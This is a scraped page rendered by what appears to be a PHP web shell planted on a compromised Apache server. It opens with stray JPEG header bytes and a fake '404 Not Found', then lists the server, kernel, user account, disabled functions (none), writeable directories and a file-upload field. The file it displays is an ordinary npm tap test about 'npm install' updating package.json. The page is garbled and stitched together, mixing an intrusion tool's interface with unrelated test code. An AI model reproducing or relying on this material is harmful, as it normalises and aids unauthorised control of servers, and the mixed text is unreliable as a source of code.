����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/noargs-install-config-save.js
var common = require('../common-tap.js')
var test = require('tap').test
var fs = require('fs')
var rimraf = require('rimraf')
var mkdirp = require('mkdirp')

var mr = require('npm-registry-mock')

var pkg = common.pkg

function writePackageJson () {
  rimraf.sync(pkg)
  mkdirp.sync(pkg)
  mkdirp.sync(pkg + '/cache')

  fs.writeFileSync(pkg + '/package.json', JSON.stringify({
    'author': 'Rocko Artischocko',
    'name': 'noargs',
    'version': '0.0.0',
    'devDependencies': {
      'underscore': '1.3.1'
    }
  }), 'utf8')
}

var env = {
  'npm_config_save': true,
  'npm_config_registry': common.registry,
  'npm_config_cache': pkg + '/cache',
  HOME: process.env.HOME,
  Path: process.env.PATH,
  PATH: process.env.PATH
}
var OPTS = {
  cwd: pkg,
  env: env
}

test('does not update the package.json with empty arguments', function (t) {
  writePackageJson()
  t.plan(2)

  mr({ port: common.port }, function (er, s) {
    common.npm('install', OPTS, function (er, code, stdout, stderr) {
      if (er) throw er
      t.is(code, 0)
      if (code !== 0) {
        console.error('#', stdout)
        console.error('#', stderr)
      }
      var text = JSON.stringify(fs.readFileSync(pkg + '/package.json', 'utf8'))
      s.close()
      t.equal(text.indexOf('"dependencies'), -1, 'dependencies do not exist in file')
    })
  })
})

test('updates the package.json (adds dependencies) with an argument', function (t) {
  writePackageJson()
  t.plan(2)

  mr({ port: common.port }, function (er, s) {
    common.npm(['install', 'underscore', '-P'], OPTS, function (er, code, stdout, stderr) {
      if (er) throw er
      t.is(code, 0)
      s.close()
      var text = JSON.stringify(fs.readFileSync(pkg + '/package.json', 'utf8'))
      t.notEqual(text.indexOf('"dependencies'), -1, 'dependencies exist in file')
    })
  })
})

test('cleanup', function (t) {
  rimraf.sync(pkg)
  t.end()
})

ZeroDay Forums Mini